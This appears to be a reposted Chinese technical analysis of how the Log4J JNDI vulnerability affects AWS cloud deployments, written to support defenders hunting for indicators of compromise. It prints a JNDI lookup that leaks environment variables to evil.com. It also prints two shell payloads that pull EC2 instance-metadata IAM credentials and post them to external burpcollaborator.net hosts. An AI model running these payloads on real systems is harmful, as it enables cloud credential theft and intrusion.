新聞中心
寫(xiě)在前面的話-Log4J對(duì)云環(huán)境意味著什么?
就在不久之前,Log4J Java庫(kù)被爆出了一個(gè)關(guān)鍵安全漏洞,該漏洞一經(jīng)曝光,很多安全專(zhuān)家和技術(shù)人員都不得不加班加點(diǎn)去解決這個(gè)安全漏洞所帶來(lái)的影響。Log4J JNDI漏洞與其說(shuō)是單個(gè)漏洞,不如說(shuō)是一個(gè)通過(guò)遠(yuǎn)程代碼執(zhí)行發(fā)起攻擊的平臺(tái)。

創(chuàng)新互聯(lián)建站主營(yíng)池州網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營(yíng)網(wǎng)站建設(shè)方案,app軟件開(kāi)發(fā),池州h5小程序設(shè)計(jì)搭建,池州網(wǎng)站營(yíng)銷(xiāo)推廣歡迎池州等地區(qū)企業(yè)咨詢
到目前為止,根據(jù)我們收集到的信息來(lái)看,各大廠商的安全事件響應(yīng)人員、安全分析人員和技術(shù)工程師們主要都在通過(guò)以下快速響應(yīng)步驟進(jìn)行漏洞的緩解工作:
1、識(shí)別受影響的系統(tǒng)并推出發(fā)布程序;
2、迅速修復(fù)憑證安全問(wèn)題;
3、尋找入侵威脅指標(biāo)IoC;
那么在這篇文章中,我們將主要針對(duì)時(shí)間響應(yīng)過(guò)程中的第三步步驟,即尋找入侵威脅指標(biāo)IoC來(lái)進(jìn)行介紹,并跟大家討論Log4J庫(kù)的潛在受攻擊風(fēng)險(xiǎn),尤其是在公共云環(huán)境中部署時(shí)可能會(huì)遇到的安全風(fēng)險(xiǎn)。
網(wǎng)絡(luò)攻擊者是如何利用Log4J漏洞的?
Log4J從根本上說(shuō)是一個(gè)注入漏洞,并且可以有兩種途徑來(lái)利用該漏洞對(duì)目標(biāo)系統(tǒng)執(zhí)行攻擊:
1、通過(guò)外部Java類(lèi)文件實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行
首先,Log4J日志記錄框架中存在注入漏洞,因此有可能引發(fā)目標(biāo)服務(wù)器向遠(yuǎn)程服務(wù)器發(fā)出HTTP請(qǐng)求,而此時(shí)的目標(biāo)服務(wù)器則會(huì)希望從遠(yuǎn)程服務(wù)器獲得返回的Java類(lèi)文件。
其次,當(dāng)攻擊者能夠控制遠(yuǎn)程外部服務(wù)器時(shí),他們就能夠控制響應(yīng)中返回給目標(biāo)服務(wù)器的內(nèi)容。在這種場(chǎng)景下,攻擊者就可以將任意代碼嵌入在Java類(lèi)文件中,然后返回給目標(biāo)服務(wù)器,并在目標(biāo)服務(wù)器上得到執(zhí)行。
2、通過(guò)DNS查詢實(shí)現(xiàn)數(shù)據(jù)提取
由于Log4J中存在注入漏洞,將導(dǎo)致目標(biāo)服務(wù)器可以向外部服務(wù)器進(jìn)行出站查詢。當(dāng)攻擊者能夠控制外部服務(wù)器的主機(jī)名時(shí),就會(huì)造成環(huán)境變量值發(fā)生泄漏。
樣例如下:
${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}下圖顯示的是攻擊者發(fā)動(dòng)Log4J JNDI攻擊的大致流程圖:
Log4J漏洞對(duì)云環(huán)境部署有何獨(dú)特影響?
根據(jù)研究人員的分析發(fā)現(xiàn),如果目標(biāo)系統(tǒng)上部署有一個(gè)易受攻擊(即存在漏洞)的Log4J庫(kù)時(shí),攻擊者就能夠通過(guò)DNS查詢機(jī)制并利用數(shù)據(jù)提取技術(shù)來(lái)檢索目標(biāo)系統(tǒng)上的任何環(huán)境變量值。比如說(shuō),在很多攻擊活動(dòng)中,我們就發(fā)現(xiàn)攻擊者會(huì)利用這種技術(shù)從AWS環(huán)境中提取特定的AWS配置變量和相關(guān)數(shù)據(jù)。
但是,在環(huán)境變量中設(shè)置敏感信息很明顯是一種糟糕的做法,這種場(chǎng)景也不太可能發(fā)生在AWS最大的攻擊面-EC2實(shí)例上。
AWS特定的環(huán)境變量可能會(huì)設(shè)置在終端節(jié)點(diǎn)上,也就是終端用戶配置awscli的工作站上,或者也有可能在運(yùn)行時(shí)預(yù)先配置變量“AWS_ACCESS_KEY_ID”、“AWS_SECRET_ACCESS_KEY”和“AWS_SESSION_TOKEN”的lambda函數(shù)中。
因此,AWS特定的環(huán)境變量就不太可能在EC2實(shí)例中找到了。相反,在AWS EC2實(shí)例上運(yùn)行的應(yīng)用程序?qū)⑹褂梅峙浣oEC2實(shí)例的EC2實(shí)例配置文件的臨時(shí)憑證數(shù)據(jù)。這些臨時(shí)憑證數(shù)據(jù)由稱為實(shí)例元數(shù)據(jù)服務(wù)(IMDS)的內(nèi)部HTTP節(jié)點(diǎn)頒發(fā)。因此,我們可以使用Log4J漏洞從EC2實(shí)例中提取這些憑證數(shù)據(jù)。
使用遠(yuǎn)程代碼執(zhí)行提取實(shí)例元數(shù)據(jù)憑證
通過(guò)利用Log4J漏洞,網(wǎng)絡(luò)攻擊者可以嘗試從C2實(shí)例中提取臨時(shí)會(huì)話憑證,并對(duì)目標(biāo)AWS資源采取進(jìn)一步的攻擊行動(dòng)。在下面的例子中,我們將演示Payload可能的攻擊路徑:
第一步:注入JNDI Payload,讓目標(biāo)EC2查詢內(nèi)部實(shí)例元數(shù)據(jù)API,并獲取EC2運(yùn)行時(shí)使用的IAM角色,然后將角色名稱保存到文件中并返回給攻擊者控制的節(jié)點(diǎn)。
第一個(gè)發(fā)送給運(yùn)行IMDSv1的EC2實(shí)例的Payload:
/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'第二步:拿到角色名稱之后,注入另一個(gè)JNDI Payload,并控制目標(biāo)EC2查詢內(nèi)部元數(shù)據(jù)API以獲取一個(gè)臨時(shí)會(huì)話令牌,將令牌保存為文件之后,將文件的內(nèi)容返回給攻擊者控制的節(jié)點(diǎn)。
第二個(gè)發(fā)送給運(yùn)行IMDSv1的EC2實(shí)例的Payload:
/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'第三步:向目標(biāo)EC2發(fā)送最后一個(gè)Payload,并控制其刪除之前兩步注入操作中創(chuàng)建的臨時(shí)文件。
提取的會(huì)話令牌的默認(rèn)TTL為1小時(shí)。攻擊者可以利用這段時(shí)間對(duì)AWS資源采取行動(dòng),就好像它們是EC2實(shí)例一樣,甚至可能執(zhí)行持久性技術(shù),如創(chuàng)建新用戶或角色,具體的影響完全取決于分配給EC2實(shí)例的權(quán)限。
另一種通過(guò)Log4J提取IMDS證書(shū)的方法
從EC2實(shí)例上的實(shí)例元數(shù)據(jù)服務(wù)中提取憑據(jù)的潛在方法多種多樣,攻擊者可以利用各種Payload并通過(guò)使用HTTP查詢內(nèi)部服務(wù)以檢索憑據(jù)。Payload可以通過(guò)如上所述的兩個(gè)步驟來(lái)傳遞,或者濃縮成一個(gè)步驟??梢詡鬟f一個(gè)Payload,讓這個(gè)Payload存儲(chǔ)實(shí)例元數(shù)據(jù)服務(wù)對(duì)環(huán)境變量的響應(yīng),其中環(huán)境變量的值是通過(guò)輔助JNDI注入提取的。在所有可能的變體中,唯一一致的一個(gè)步驟是必須向EC2實(shí)例上運(yùn)行的實(shí)例元數(shù)據(jù)服務(wù)發(fā)出HTTP請(qǐng)求。
總結(jié)
攻擊EC2實(shí)例元數(shù)據(jù)API并不新穎,云安全研究人員也一直在描述和介紹針對(duì)這種服務(wù)的濫用行為。這不是一個(gè)“新錯(cuò)誤”,而是Log4J漏洞對(duì)云計(jì)算影響的新表述。雖然這篇文章專(zhuān)門(mén)針對(duì)針對(duì)AWS環(huán)境的威脅,但所有相同的原則在任何GCP或Azure環(huán)境中都適用。
參考鏈接
https://www.vectra.ai/blog/log4j-unique-impact-in-the-cloud
本文作者:Alpha_h4ck, 轉(zhuǎn)載請(qǐng)注明來(lái)自FreeBuf.COM
本文題目:技術(shù)分析:Log4JJNDI遠(yuǎn)程執(zhí)行代碼漏洞在云上環(huán)境中的獨(dú)特影響
文章源于:http://www.5511xx.com/article/dphejoo.html


咨詢
建站咨詢
